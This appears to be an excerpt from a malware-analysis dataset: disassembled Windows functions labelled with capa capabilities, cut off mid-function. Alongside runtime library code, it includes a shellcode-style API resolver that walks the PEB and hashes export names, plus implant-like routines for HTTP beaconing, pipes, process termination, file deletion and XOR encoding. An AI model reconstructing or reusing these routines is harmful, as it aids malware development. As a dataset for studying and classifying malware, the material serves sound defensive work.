joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41e370
Capabilities:
Create thread
Resume thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rdi, rcx
mov rsi, rdx
mov rbx, r8
mov rbp, r9
call sym.pop_pthread_mem
mov r12, rax
test rax, rax
je 0x41e5ab
test rdi, rdi
je 0x41e3aa
mov rax, qword [rax + 0x1d8]
mov qword [rdi], rax
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [r12 + 8], rbp
mov dword [r12 + 0x44], 1
mov rbp, qword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [r12 + 0xbc], 0
mov r14, r13
mov qword [r12 + 0x28], 0xffffffffffffffff
mov qword [r12 + 0x10], rbx
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call rbp
mov qword [r12 + 0x30], rax
test rax, rax
jne 0x41e420
test ebx, ebx
je 0x41e418
mov ecx, 0x14
call r14
cmp ebx, 4
je 0x41e420
add ebx, 1
jmp 0x41e3e5
xor ecx, ecx
call r13
jmp 0x41e40f
mov qword [r12 + 0x38], 0xffffffffffffffff
lea r14, [r12 + 0x68]
mov rcx, r14
call sym.replace_spin_keys.constprop.0
cmp qword [r12 + 0x30], 0
mov dword [r12], 0xbab1f00d
mov dword [r12 + 0xc0], 0
mov dword [r12 + 0xb8], 0
je 0x41e58c
xor edx, edx
test rsi, rsi
je 0x41e486
mov eax, dword [rsi]
mov edx, dword [rsi + 0x10]
mov dword [r12 + 0x44], eax
test al, 8
jne 0x41e5c0
mov eax, dword [rsi + 0x18]
mov dword [r12 + 0xc0], eax
lea r8, [sym.pthread_create_wrapper]
mov r9, r12
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
mov r13, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x41e558
mov eax, dword [r12 + 0xc0]
mov edx, 0xfffffff1
cmp eax, 0xfffffff2
jge 0x41e530
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [r12 + 0x30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
test byte [r12 + 0x44], 4
jne 0x41e510
mov qword [r12 + 0x28], r13
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov qword [r12 + 0x28], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41e4f6
mov edx, 0xfffffffe
cmp eax, 0xffffffff
jl 0x41e4cc
mov edx, 0xf
cmp eax, 0xe
jg 0x41e4cc
cmp eax, 2
mov edx, 2
cmovle edx, eax
jmp 0x41e4cc
mov rcx, qword [r12 + 0x30]
test rcx, rcx
je 0x41e568
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [r12 + 0x38]
call sym.pthread_mutex_destroy
mov rcx, r14
call sym.replace_spin_keys.constprop.0
mov qword [r12 + 0x30], 0
mov qword [r12 + 0x28], 0
test rdi, rdi
je 0x41e598
mov qword [rdi], 0
cmp qword [r12 + 0x1d0], 0
jne 0x41e5ab
mov rcx, r12
call sym.push_pthread_mem.part.0
mov eax, 0xb
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov dword [rsp + 0x3c], edx
call sym.__pthread_self_lite
mov edx, dword [rsp + 0x3c]
mov eax, dword [rax + 0xc0]
mov dword [r12 + 0xc0], eax
jmp 0x41e486

Function at 0x41ebf0
Capabilities:
Check mutex on windows

Disassembly:
xor r8d, r8d
mov edx, 4
lea rcx, str.dummy_concurrency_level_shmem
jmp sym.__shmem_winpthreads_grab
Function at 0x41f420
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov rsi, r8
mov r12, rcx
movsxd rbx, edx
call sym.strlen
mov r8, rax
lea eax, [rax + 0xf]
mov dword [rbp - 0x54], eax
lea eax, [r8 + 0x51]
lea edi, [r8 + 0x10]
cdqe
lea r15d, [r8 + 0x50]
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.0040d9b0
movabs rcx, 0x656d68732d636367
sub rsp, rax
movsxd r13, r8d
mov rdx, r12
mov eax, 0x326d
mov r8, r13
mov qword [rsp + 0x20], rcx
lea r14, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
mov byte [rsp + 0x2e], 0x2d
call sym.memcpy
lea rax, [r14 + r13 + 0x10]
movsxd r12, dword [rbp - 0x54]
mov r8, r14
movabs rdx, 0x6161616161616161
movabs rcx, 0x6161616161616161
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], rdx
xor edx, edx
mov qword [rax + 0x38], rcx
movsxd rax, r15d
xor ecx, ecx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + r12 + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + r12 + 0x20], 0x2d
mov edx, 0xffffffff
mov r13, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x41f51e
int3
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
je 0x41f570
mov rdx, r14
movzx ecx, ax
mov r9d, edi
mov r8d, r15d
call sym.get_ptr_from_atom_1
mov r14, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, r14
lea rsp, [rbp - 0x48]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rbx
call sym.malloc
mov r12, rax
mov eax, 0x40
bt r12, rax
jae 0x41f593
mov edx, r15d
sub edx, eax
movsxd rdx, edx
mov byte [r14 + rdx], 0x41
sub eax, 1
jne 0x41f580
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
jne 0x41f5a7
int3
mov rdx, r14
movzx ecx, ax
mov r9d, edi
mov r8d, r15d
call sym.get_ptr_from_atom_1
mov r14, rax
cmp r12, rax
je 0x41f5cd
mov rcx, r12
call sym.free
jmp 0x41f540
xor edx, edx
mov r8, rbx
mov rcx, rax
call sym.memset
test rsi, rsi
je 0x41f540
mov rcx, r14
call rsi
jmp 0x41f540

Function at 0x41f9f0
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [sym.__shmem_winpthreads_init_rwl_global_shmem]
mov edx, 8
lea rcx, str.rwl_global_shmem
jmp sym.__shmem_winpthreads_grab

Function at 0x41fac0
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [sym.__shmem_winpthreads_init_cond_locked_shmem_rwlock]
mov edx, 8
lea rcx, str.cond_locked_shmem_rwlock
jmp sym.__shmem_winpthreads_grab

Function at 0x420900
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [sym.__shmem_init_init]
mov edx, 8
lea rcx, str.init
jmp dbg.__shmem_grab

Function at 0x420920
Capabilities:
Check mutex on windows

Disassembly:
xor r8d, r8d
mov edx, 0x10
lea rcx, str.eh_globals
jmp dbg.__shmem_grab
Function at 0x421000
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [sym.__shmem_init___terminate_handler_sh]
mov edx, 8
lea rcx, str.__terminate_handler_sh
jmp dbg.__shmem_grab

Function at 0x421020
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [sym.__shmem_init___unexpected_handler_sh]
mov edx, 8
lea rcx, str.__unexpected_handler_sh
jmp dbg.__shmem_grab

Function at 0x422830
Capabilities:
Read file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov r9, qword [rcx + 0x40]
mov rsi, rdx
mov rbx, rcx
mov edx, 1
mov rcx, rsi
call sym.fread
mov edx, 0xffffffff
test rax, rax
jle 0x42285c
movzx edx, byte [rsi + rax - 1]
mov dword [rbx + 0x48], edx
add rsp, 0x28
pop rbx
pop rsi
ret

Function at 0x4234c0
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x30
cmp byte [0x004b9210], 0
jne 0x4235ca
mov byte [0x004b9210], 1
call sym.__cxa_current_exception_type
test rax, rax
je 0x4235a0
mov r12, qword [rax + 8]
xor eax, eax
lea r9, [rsp + 0x2c]
cmp byte [r12], 0x2a
mov dword [rsp + 0x2c], 0xffffffff
sete al
xor r8d, r8d
xor edx, edx
add r12, rax
mov rcx, r12
call sym.__cxa_demangle
mov ecx, 2
mov rbx, qword [dbg.__acrt_iob_func]
mov r13, rax
call rbx
mov edx, 1
lea rcx, str.terminate_called_after_throwing_an_instance_of_
mov r8d, 0x30
mov r9, rax
call sym.fwrite
mov edx, dword [rsp + 0x2c]
mov ecx, 2
test edx, edx
je 0x423591
call rbx
mov rcx, r12
mov rdx, rax
call sym.fputs
mov ecx, 2
call rbx
mov r8d, 2
mov edx, 1
lea rcx, [0x004bc141]
mov r9, rax
call sym.fwrite
mov eax, dword [rsp + 0x2c]
test eax, eax
jne 0x42358c
mov rcx, r13
call sym.free
call sym.__cxa_rethrow
call rbx
mov rcx, r13
mov rdx, rax
call sym.fputs
jmp 0x42355b
mov ecx, 2
call qword [dbg.__acrt_iob_func]
mov r8d, 0x2d
mov edx, 1
lea rcx, str.terminate_called_without_an_active_exception_n
mov r9, rax
call sym.fwrite
call sym.abort
mov ecx, 2
call qword [dbg.__acrt_iob_func]
mov r8d, 0x1d
mov edx, 1
lea rcx, str.terminate_called_recursively_n
mov r9, rax
call sym.fwrite
call sym.abort
sub rdx, 1
mov rcx, rax
jne 0x42365f
call sym.__cxa_begin_catch
mov rcx, rax
mov rax, qword [rax]
call qword [rax + 0x10]
mov ecx, 2
mov r12, rax
call rbx
mov r9, rax
mov r8d, 0xb
mov edx, 1
lea rcx, str.__what__:
call sym.fwrite
mov ecx, 2
call rbx
mov rdx, rax
mov rcx, r12
call sym.fputs
mov ecx, 2
call rbx
mov rdx, rax
mov ecx, 0xa
call sym.fputc
call sym.__cxa_end_catch
jmp 0x4235c5
call sym.__cxa_begin_catch
call sym.__cxa_end_catch
jmp 0x4235c5

Function at 0x47cd70
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x47cd97
call rbp
cmp dword [rax], 4
jne 0x47cdb4
mov rcx, rdi
call method.std::__basic_file_char_.fd__
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sym.read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x47cd90
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
mov rdx, qword gs:[rdx + 0x60]
push rsi
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
push rax
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
pop rsi
pop rcx
add rax, rdx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x14000d910
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140016c60], rbx
je 0x14000d977
cmp rax, rbx
jne 0x14000d96a
mov ebx, 1
mov esi, ebx
jmp 0x14000d97c
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000d94f
mov ebx, 1
mov eax, dword [0x140016c68]
cmp eax, ebx
jne 0x14000d994
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14000da00
mov eax, dword [0x140016c68]
test eax, eax
jne 0x14000d9f5
mov dword [0x140016c68], ebx
lea r15, [0x140010bb8]
lea rdi, [0x140010ba0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14000d9e7
test eax, eax
jne 0x14000d9eb
cmp qword [rdi], r14
je 0x14000d9dc
mov rax, qword [rdi]
mov rcx, qword [0x140010b58]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000d9be
test eax, eax
je 0x14000d9fb
mov eax, 0xff
jmp 0x14000db56
mov dword [0x1400163e4], ebx
mov edi, 0x1f
mov eax, dword [0x140016c68]
cmp eax, ebx
jne 0x14000da27
lea rdx, [0x140010b98]
lea rcx, [0x140010b60]
call sub.msvcrt.dll__initterm
mov dword [0x140016c68], 2
test esi, esi
jne 0x14000da35
mov rax, r14
xchg qword [0x140016c60], rax
cmp qword [0x140016c80], r14
je 0x14000da68
lea rcx, [0x140016c80]
call fcn.14000dfd0
test eax, eax
je 0x14000da68
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140016c80]
mov r9, qword [0x140010b58]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000da81
mov eax, 0xff
jmp 0x14000db56
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14000db07
test ax, ax
je 0x14000da9c
test edx, edx
jne 0x14000db07
sub ax, bx
cmp ax, di
ja 0x14000dab2
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14000da9c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400019fc
mov dword [0x1400163e0], eax
cmp dword [0x140016400], r14d
jne 0x14000daf0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400163e4], r14d
jne 0x14000db05
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400163e0]
jmp 0x14000db56
cmp ax, 0x22
jne 0x14000db1b
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000da8a
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.140163000
add rsp, 0x28
jmp 0x14000d910
Function at 0x180002130
Capabilities:
Connect to http server
Create http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbx, r8
mov dword [rsp + 0x68], 0x3a980
mov edi, edx
mov rsi, rcx
call fcn.1800088f0
mov ecx, 1
call fcn.180007ff0
test al, 8
mov ecx, 0x84c03200
mov eax, 0x84400200
cmovne eax, ecx
mov ecx, 0x32
mov dword [0x1800193f4], eax
call fcn.180007ff0
cmp ax, 1
jne 0x180002192
or dword [0x1800193f4], 0x80000
mov ecx, 0x23
call fcn.180007ff0
movzx ecx, ax
xor ebp, ebp
test ecx, ecx
je 0x1800021cd
sub ecx, 1
je 0x1800021c4
sub ecx, 1
je 0x1800021bd
cmp ecx, 2
je 0x1800021cd
mov rax, qword [0x1800193f8]
jmp 0x1800021f6
xor r8d, r8d
xor edx, edx
jmp 0x1800021df
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x1800021df
mov ecx, 0x20
call fcn.180007fb0
mov r8, rax
mov edx, 3
xor r9d, r9d
mov dword [rsp + 0x20], ebp
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [0x1800193f8], rax
mov r9d, 4
lea r8, [rsp + 0x68]
mov rcx, rax
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x1800193f8]
lea r8, [rsp + 0x68]
mov r9d, 4
lea edx, [r9 + 2]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x1800193f8]
lea rax, [0x180019410]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov dword [rsp + 0x30], ebp
movzx r8d, di
mov dword [rsp + 0x28], 3
mov rdx, rsi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.WININET.dll_InternetConnectA]
mov ecx, 0x23
mov qword [0x180019400], rax
call fcn.180007ff0
cmp ax, 4
jne 0x1800022d1
mov ecx, 0x21
call fcn.180007f90
mov ecx, 0x21
mov ebx, eax
call fcn.180007fb0
mov rcx, qword [0x180019400]
mov r8, rax
mov r9d, ebx
mov edx, 0x2b
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov ecx, 0x22
call fcn.180007f90
mov ecx, 0x22
mov ebx, eax
call fcn.180007fb0
mov rcx, qword [0x180019400]
mov r8, rax
mov r9d, ebx
mov edx, 0x2c
call qword [sym.imp.WININET.dll_InternetSetOptionA]
call fcn.180008910
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1800022f0
Capabilities:
Send data
Send http request

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
lea rbp, [rsp - 0x410]
sub rsp, 0x510
mov rbx, rcx
lea rax, [0x180017028]
xor esi, esi
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 0x10]
mov qword [rbp - 0x78], rsi
xor edx, edx
mov r8d, 0x400
call fcn.18000fc98
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x80
call fcn.18000fc98
mov edx, dword [0x1800193f0]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
test edx, edx
je 0x180002532
mov qword [rsp + 0x520], rdi
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x528], r14
call fcn.180007390
mov rcx, qword [rsp + 0x50]
lea r8, [0x18001702c]
mov r9, rbx
mov edx, 0x400
call fcn.180001090
mov r9d, dword [0x18001a380]
lea r8, [0x180017030]
mov edx, 0x80
lea rcx, [rbp - 0x70]
call fcn.180001090
lea rax, [rbp - 0x70]
or rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], sil
jne 0x1800023d0
mov ecx, ntohs
call fcn.180007fb0
mov rcx, rax
lea r8, [rbp - 0x70]
mov eax, dword [0x1800193f0]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x28], eax
mov r9d, ebx
mov rax, qword [0x180019408]
mov qword [rsp + 0x20], rax
call fcn.180006ab0
mov rcx, qword [rsp + 0x48]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], sil
jne 0x180002416
mov r9, qword [rsp + 0x50]
mov edx, 0x400
test rax, rax
jne 0x180002440
lea r8, [0x180017034]
lea rcx, [rbp + 0x10]
call fcn.180001090
jmp 0x180002455
mov qword [rsp + 0x20], rcx
lea r8, [0x180017038]
lea rcx, [rbp + 0x10]
call fcn.180001090
call fcn.1800088f0
mov ebx, esi
lea r14, [0x180019410]
mov ecx, 0x1b
call fcn.180007fb0
mov rcx, qword [0x180019400]
lea r8, [rbp + 0x10]
mov rdx, rax
mov qword [rsp + 0x38], r14
mov eax, dword [0x1800193f4]
xor r9d, r9d
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rax
mov rdi, rax
call fcn.180001fe0
mov rdx, qword [rsp + 0x40]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], sil
jne 0x1800024b5
mov eax, dword [rsp + 0x60]
mov rcx, rdi
mov r9, qword [rsp + 0x58]
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rdi
call fcn.180002640
mov rcx, rdi
test eax, eax
jne 0x180002501
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 4
jb 0x180002463
jmp 0x180002507
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [0x1800193f0]
lea rcx, [rsp + 0x40]
call fcn.180007380
mov dword [0x1800193f0], esi
call fcn.180008910
mov r14, qword [rsp + 0x528]
mov rdi, qword [rsp + 0x520]
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180002640
Capabilities:
Check http status code

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x130
xor ebx, ebx
mov dword [rax + 0x10], 0x100
lea r9, [rax + 0x10]
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x13]
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x180002678
add rsp, 0x130
pop rbx
ret
lea rcx, [rsp + 0x30]
call sub.msvcrt.dll_atoi
cmp eax, 0xc8
sete bl
mov eax, ebx
add rsp, 0x130
pop rbx
ret

Function at 0x1800027b0
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1c8
cmp dword [0x180019418], 1
je 0x180002846
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
js 0x18000284e
mov ecx, shutdown
mov dword [0x180019418], 1
call fcn.180007f50
mov ecx, reloc.WS2_32.dll_send
mov dword [0x18001941c], eax
call fcn.180007f50
mov ecx, 0x3d
mov dword [0x180019420], eax
call fcn.180007fb0
mov ecx, 0x3e
mov qword [0x18177bb58], rax
call fcn.180007fb0
mov ecx, 0x3f
mov qword [0x18177bb50], rax
call fcn.180007fb0
mov ecx, 0x42
mov qword [0x18177bb48], rax
call fcn.180007fb0
mov qword [0x18177bb40], rax
add rsp, 0x1c8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.18000bcc0
int3

Function at 0x180002c20
Capabilities:
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x180002c40
Capabilities:
Delete directory
Delete file

Disassembly:
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180005c80
mov edx, 0x4000
lea rcx, [rsp + 0x20]
call fcn.180005e10
mov rcx, rax
mov rbx, rax
call fcn.180002c20
mov rcx, rbx
test eax, eax
je 0x180002c99
lea rdx, [0x180002a20]
call fcn.180007760
mov rcx, rbx
call sub.msvcrt.dll__rmdir
mov rcx, rbx
call sub.msvcrt.dll_free
add rsp, 0x40
pop rbx
ret
call sub.msvcrt.dll_remove
mov rcx, rbx
call sub.msvcrt.dll_free
add rsp, 0x40
pop rbx
ret
Function at 0x180002fc0
Capabilities:
Create directory

Disassembly:
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180005c80
mov edx, 0x4000
lea rcx, [rsp + 0x20]
call fcn.180005e10
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll__mkdir
mov rcx, rbx
call sub.msvcrt.dll_free
add rsp, 0x40
pop rbx
ret

Function at 0x1800034e0
Capabilities:
Create pipe

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
mov ebx, edx
mov rdi, rcx
xor edx, edx
lea rcx, [rbp - 0x19]
lea r8d, [rdx + 0x68]
call fcn.18000fc98
xor eax, eax
mov dword [rbp - 0x19], 0x68
xor esi, esi
mov qword [rbp - 0x79], rax
mov r9d, 0x100000
mov qword [rbp - 0x71], rax
lea r8, [rbp - 0x59]
mov qword [rbp - 0x69], rax
lea rdx, [rbp + 0x7f]
mov qword [rbp - 0x51], rsi
lea rcx, [rbp - 0x61]
mov dword [rbp - 0x59], 0x18
mov dword [rbp - 0x49], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rbp + 0x7f]
lea r9, [rbp - 0x79]
mov dword [rsp + 0x28], esi
lea r8, [rbp - 0x19]
mov edx, ebx
mov qword [rbp + 0x3f], rax
mov rcx, rdi
mov qword [rbp + 0x47], rax
mov dword [rbp + 0x23], 0x101
mov word [rbp + 0x27], si
mov qword [rbp + 0x37], rsi
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.1800068c0
test eax, eax
je 0x1800035ca
mov rcx, qword [rbp - 0x79]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
movups xmm0, xmmword [rbp - 0x79]
lea rcx, [rbp - 0x39]
mov r8, qword [rbp + 0x7f]
movsd xmm1, qword [rbp - 0x69]
mov rdx, qword [rbp - 0x61]
movaps xmmword [rbp - 0x39], xmm0
movsd qword [rbp - 0x29], xmm1
call fcn.180004f40
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x1800037b0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
xor eax, eax
mov qword [rsp + 0x20], 0
mov r8d, edx
mov qword [rsp + 0x28], rax
mov rdx, rcx
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x20]
call fcn.180005c80
lea rcx, [rsp + 0x20]
call fcn.180005c90
xor edx, edx
mov r8d, eax
mov edi, eax
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180003810
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180003825
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, edi
mov ecx, 0x23
mov r8d, eax
call fcn.180001c70
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x180003e10
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
movsxd r11, edx
mov rbx, rcx
movsxd rax, r9d
lea r10, [r11 - 4]
cmp r10, rax
jbe 0x180003e2f
xor eax, eax
mov rbx, qword [rsp + 8]
ret
sub r11d, 4
je 0x180003e60
xor ecx, ecx
mov edx, r11d
mov r9, rbx
sub r9, r8
mov rax, rcx
lea r8, [r8 + 1]
and eax, 3
inc rcx
movzx eax, byte [rax + rbx]
xor al, byte [r9 + r8 + 3]
mov byte [r8 - 1], al
sub rdx, 1
jne 0x180003e40
mov rbx, qword [rsp + 8]
mov eax, r11d
ret

Function at 0x180003e70
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movsxd r10, edx
mov rbx, r8
add r10, 4
movsxd rax, r9d
